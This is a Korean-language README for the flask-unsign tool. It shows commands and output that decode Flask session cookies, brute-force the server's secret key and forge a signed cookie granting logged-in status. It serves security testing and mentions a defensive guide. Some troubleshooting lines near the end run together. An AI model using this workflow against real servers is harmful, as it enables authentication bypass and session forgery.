
비밀 키를 추측하여 Flask 애플리케이션의 세션 쿠키를 가져오고, 디코딩하고, 무차별 대입하고, 제작하는 명령줄 도구.
Flask 애플리케이션의 세션 쿠키를 비밀 키 추측을 통해 가져오고, 디코딩하고, 무차별 대입하고, 제작하는 명령줄 도구입니다. 독립형 워드리스트 구성 요소는 flask-unsign-wordlist 저장소를 참조하세요.
애플리케이션을 설치하려면 pip를 사용하면 됩니다:
$ pip3 install flask-unsign[wordlist]
핵심 코드만 설치하려면 [wordlist] 접미사를 생략하세요:
$ pip3 install flask-unsign
개발 목적으로 도구를 설치하려면 (사본을 다운로드한 후) 다음 명령을 실행하세요:
$ pip3 install -e .[test]
사용 가능한 모든 옵션을 확인하려면 인수 없이 flask-unsign을 다음과 같이 호출하면 됩니다:
$ flask-unsign
Flask 쿠키는 서명되어 있고 암호화되지 않으므로 세션 데이터를 로컬에서 디코딩할 수 있습니다. 이를 위해 --decode 인수를 사용할 수 있습니다.
세션 쿠키는 Burp Proxy와 같은 프록시로 HTTP 요청을 검사하거나, 브라우저의 네트워크 검사기 또는 쿠키를 보고/변경할 수 있는 브라우저 확장 프로그램을 사용하여 얻을 수 있습니다. 기본적으로 Flask는 세션 이름 "session"을 사용합니다.
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
--cookie 인수 대신 --server 인수를 전달하여 Flask-Unsign의 자동 세션 가져오기 기능을 사용할 수도 있습니다. 단, 모든 웹 페이지가 세션을 반환하는 것은 아니므로, 세션을 반환하는 URL을 전달해야 합니다.
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
샘플 세션 쿠키를 획득한 후 서버의 비밀 키를 무차별 대입으로 공격해볼 수 있습니다. 운이 좋다면 비밀 키가 추측하기 쉬운 값으로 설정되어 있거나, 온라인에서 발견된 값이라면 워드리스트 중 하나에 포함되어 있을 수 있습니다. 이를 위해 --unsign 인수를 사용할 수 있습니다.
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
서버의 비밀 키를 획득하면 나만의 커스텀 세션 데이터를 제작할 수 있습니다. 이를 위해 --sign 인수를 사용할 수 있습니다.
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
pip 바이너리를 사용하고 있을 수 있습니다. 다음 명령을 사용해 보세요: python3.6 -m pip install flask-unsign--legacy 옵션을 사용해 보세요.--no-literal-eval 인수를 전달하여 비활성화할 수 있습니다.이것이 정확히 어떻게 작동하는지 궁금하다면, 이 공격으로부터 자신의 서버를 보호하는 방법에 대한 가이드를 포함하여 자세히 설명하는 블로그 게시물을 참조하세요.
MIT 라이선스
Copyright (c) 2021 Luke Paris (Paradoxis)
이로써 본 소프트웨어 및 관련 문서 파일(이하 "소프트웨어")의 사본을 얻는 모든 사람에게 무료로 허가가 부여되며, 소프트웨어를 제한 없이 다룰 수 있는 권리(사용, 복사, 수정, 병합, 게시, 배포, 재라이선스 및/또는 판매할 권리와 소프트웨어를 제공받은 사람이 이를 행사할 수 있도록 허용할 권리 포함)가 부여되며, 다음 조건을 따릅니다:
위 저작권 고지 및 본 허가 고지는 소프트웨어의 모든 사본 또는 상당 부분에 포함되어야 합니다.
소프트웨어는 "있는 그대로" 제공되며, 상품성, 특정 목적 적합성 및 비침해에 대한 보증을 포함하되 이에 국한되지 않는 명시적 또는 묵시적 보증 없이 제공됩니다. 어떠한 경우에도 저자 또는 저작권 보유자는 계약, 불법 행위 또는 기타 행위로 인해 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다. 이는 소프트웨어 사용 또는 기타 거래와 관련하여 발생합니다.